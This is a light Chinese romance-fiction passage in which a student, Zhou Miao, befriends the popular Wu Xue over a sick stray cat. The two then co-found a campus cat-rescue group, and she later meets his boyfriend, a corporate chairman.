各大学院总有一些人格外亮眼，在大部分同学都还在互相记名字的阶段，他们就已经凭借外貌、性格、特长迅速成为专业里的焦点人物。 毫无疑问, 吴雪就是经济学院的典型代表。 吴雪在军训时期就靠着超强体能火爆全校，当然，就算没有军训，像他这样长得好性格又好的人，也实在很难泯于众人。 但周淼不喜欢和他打交道, 准确来说是她不擅长和这种人打交道。太受欢迎的人会给她一种距离感, 反而让人不知道该怎么相处。 直到有天, 周淼在图书馆附近喂猫，突然发现自己喂了一个多月的小猫突然性情大变, 不让摸, 甚至连东西都不愿意吃了。 周淼端着猫粮和水，急得直喊：“咪咪，你怎么啦？你怎么都不吃东西了？你不要吓我。” “怎么了？”头顶传来一道声音，周淼抬起头, 竟然看见了吴雪。 周淼从没和吴雪说过话, 一时间不知该如何开口，后者却笑了起来，似乎有些惊喜地说：“周淼，你在喂猫啊？” 从未交流过的人, 竟然记得自己名字……这个认知让周淼有些开心, 她点点头, 把自己刚才的发现说了。 “别担心，我看看。”吴雪蹲下身，冲小猫伸出右手。 这是一只本土狸花猫, 大概4个月大，看起来有些瘦弱，但已经换了牙，指甲也尖尖的，战斗力已经不容小觑，被它挠一爪子可不是开玩笑。 周淼正要提醒他别乱碰，吴雪已经伸手抓着猫后颈，熟练地安抚起来。气势汹汹的狸花猫仿佛被血脉压制，乖巧得不行。 周淼：“……” 吴雪半跪在地上，一看就很贵的裤子粘上灰尘也不在意。他仔细地摸了摸猫肚皮，又说：“嘘，小猫别怕，告诉我你怎么了？” 周淼：“……” 你问它有什么用？猫又不会说话。 却不料狸花猫竟然喵喵喵地叫了起来，然后更奇怪的是，吴雪竟然也跟着喵喵喵。 周淼：？？？ 一人一猫喵了好几轮，然后吴雪松开了狸花猫，抬起头对周淼说：“肚子不舒服，疼，吃了东西会越来越疼。” 周淼愣了下，才意识到吴雪是在说小猫的病情。 她有些怀疑，疑惑道：“你怎么知道？” “它告诉我的，”吴雪伸手摸了摸小猫脑袋，说，“小猫你说是不是，我们送你去医院检查一下吧。” 周淼一时间没有回答。 其实她之前就在网上查过，附近的宠物医院检查费用动辄好几百，要她半个月的生活费。 真有病她也不是不能出，但要是什么症状都没有，就会觉得这个钱花得太不值了。可万一猫真的生病了，又因为她没有及时救助发生意外，她也会感到不安。 周淼还在犹豫，吴雪已经抱起猫，又说：“去贸大动物医院吧，这里流浪猫救助打一折。” “没有吧，”周淼说，“我前不久刚问过，我们学校动物医院很权威，收费反而比普通医院还要高。” 吴雪：“现在是了。” 周淼：“……？” 周淼很想吐槽，但她忍住了，而且吴雪态度实在笃定，她决定跟上去试试看。 动物医院的实习医生接待了他们，周淼听见吴雪很熟络地喊对方学姐，几句话就介绍完了情况。 小猫做了一系列检查，最后在肠道内发现了火腿肠外衣，可能是别人喂火腿肠没把肠衣去干净，小猫误食了。 原来小猫之前脾气暴躁是因为不舒服，不是故意要凶她…… 周淼眼眶酸酸的，仰头问：“医生，那该怎么办啊？” 医生很温柔地告诉她，小猫情况不是很严重，可以先喂一点肠道润滑，看能不能自行排出，实在不行再考虑手术。小猫暂时留在医院住院，周淼准备下楼付款，刚下楼梯就碰见吴雪拿着账单上来。 周淼意识到了什么，有些不好意思：“你去付款了？” 她紧接着又说：“多少钱啊，我转给你吧。” “不用，”吴雪说，“打一折，才几十块。” 周淼不信，直到吴雪给她看账单才放下心来。可她还是不明白，医院怎么突然就给治疗费打了一折？ 直到后来周淼才知道，是因为吴雪以“猫咪之家”的名义谈下了合作，猫咪之家给动物医院宣传，动物医院也对外进行相应的公益活动。 不过这都是猫咪之家找到盈利方法后的事情了，前期实际上是吴雪往里存了不少钱补贴，医院又主动降价，这才对外收费一折。因为没有宣传，所以没有人知道这件事。 周淼不知道原因，但她不喜欢欠人情，想了想说：“我请你吃饭吧。” 话说出口她才意识到请吃饭有些太亲近，又改口道：“或者我请你喝奶茶？” “那你请我喝奶茶吧，”吴雪说，“我晚上要回家和对象吃饭。” 周淼：“？？？” 吴雪有对象？这么劲爆的事情，就用这么平淡的口吻说出来了？ 他们排队买奶茶，吴雪拎着杯奶茶笑眯眯地走了，说明天再来看猫。周淼抬头碰见室友，很惊讶地问她怎么和吴雪一起。周淼把经过说了，有室友怂恿她不如趁机抓住机会。 “你们别乱说，”周淼皱眉，摇头道，“吴雪他有对象了，而且我也不喜欢他这款。” 室友们也有同感，吴雪帅确实非常帅，也很可爱，性格也很好，但怎么说呢，就是莫名让人母爱爆棚。比起和他谈恋爱，大家都更想当他妈。 第二天周淼又去了医院，幸运的是小猫自行排出了塑料，还吃了一大碗猫粮。病好的小猫不再暴躁，又软软地过来蹭她手指。 周淼抱着小猫，忍不住有些想哭。要是她有条件收养猫，也不会遇到这样的事情。 周淼把猫放回了图书馆附近，抬头时，就看见吴雪笑眯眯地看着她：“你很喜欢猫？” 周淼还算矜持：“还行吧。” “愿意加入校园猫咪之家吗？”吴雪突然换了副推销的语气，很积极地说，“我们是救助流浪猫的公益组织，可以算志愿者学时，还有工资拿哦。” “校园猫咪之家？”周淼疑惑道，“我怎么不知道？” 吴雪：“因为还没建成。” 周淼：？ 吴雪：“但你现在加入，就可以成为我们组织的002号，001号是我，怎么样，心动吗？” 周淼：“……” 她不信吴雪的说辞，一个学生怎么能在学校办猫咪之家？管理了就是责任，学校也不愿意承担这个风险，更别提算志愿者学时和拿工资了。 但即便如此，周淼还是点了头。她相信吴雪的人品，而且，万一真的成功了呢？ 也不知道吴雪用了什么方法，半个月后，学校里竟然真的多了一个猫咪之家，分布在校园四个区域，猫咪之家给流浪猫编号，提供基本的食宿医疗，甚至连摄像头都有。 这一模式吸引了不少志愿者加入，周淼也摇身一变成为了老员工。 一年后，猫咪之家项目扩展到同城，基本做到自负盈亏，成为大学生创业的优秀代表。 贸城大学校庆时，吴雪获得年度学生称号，还获校庆赞助商古贸集团董事长顾司沉颁奖。 他们在众人的目光下握手，颁奖，并肩合影。 不知怎么的，周淼总觉得古贸集团董事长给吴雪颁奖时，表情要比面对其他人温柔许多。 但在接下来的时间里，他们座位都离得很远，再也没有任何交流。应该只是自己错觉吧，周淼心想。 校庆结束已经是晚上，周淼还有工作没做完，又回了一趟办公室。 一个月前，猫咪之家在学校门口租了两间办公室，成员也已经扩展到了几十人，周淼已经是当之无愧的前辈了。 前辈责任很重，前辈在活动结束后还要工作。 周淼回到办公室，惊讶地发现里面还亮着灯。周淼走到里间一看，霎时目瞪口呆。 有两个男人在接吻…… 男生背对着他坐在男人腿上，看背影有些熟悉，周淼还想细看，抱着男生的男人抬起了头，是前不久正给吴雪颁奖的顾司沉。 周淼面红耳赤，连忙退出了活动室。 她慌乱地打开电脑，又想着不如先回寝室。就在这时，里间传来脚步声，周淼屏住呼吸，小心翼翼地抬头，看见衣衫有些凌乱的吴雪。 周淼：“……” 她绞尽脑汁想要说点儿什么，吴雪率先冲她笑了下，又说不好意思，他不知道这么晚了这里还有人，以后他尽量不把人带过来。 周淼磕磕巴巴，几乎不敢抬眼：“没关系，我也不知道你还在，对不起打扰了你们。” 吴雪说没关系，然后又牵着顾司沉的手过来介绍：“周淼，这是我男朋友。” 周淼从来没有见过这种大人物，憋了两秒，脱口而出：“老板娘好！” 话音落下，周围都是一静。 周淼后知后觉，我靠，我都说了什么。 她正要道歉，吴雪已经哈哈大笑起来，揽着顾司沉的肩膀说：“老板娘。” 那位看起来很吓人的顾司沉也笑着说：“嗯，我是你老板娘。” 大老板比想象中更加亲切温和，周淼渐渐放松了紧绷的神经。 吴雪又问：“这么晚了你还要做什么？要不要我帮忙？” 周淼摇头，说工作只剩下一点点了。 吴雪摆摆手：“那我们先走啦。” 然后他们在夜色中离开，亲密而自然，仿佛已经走过许多个这样的冬夏。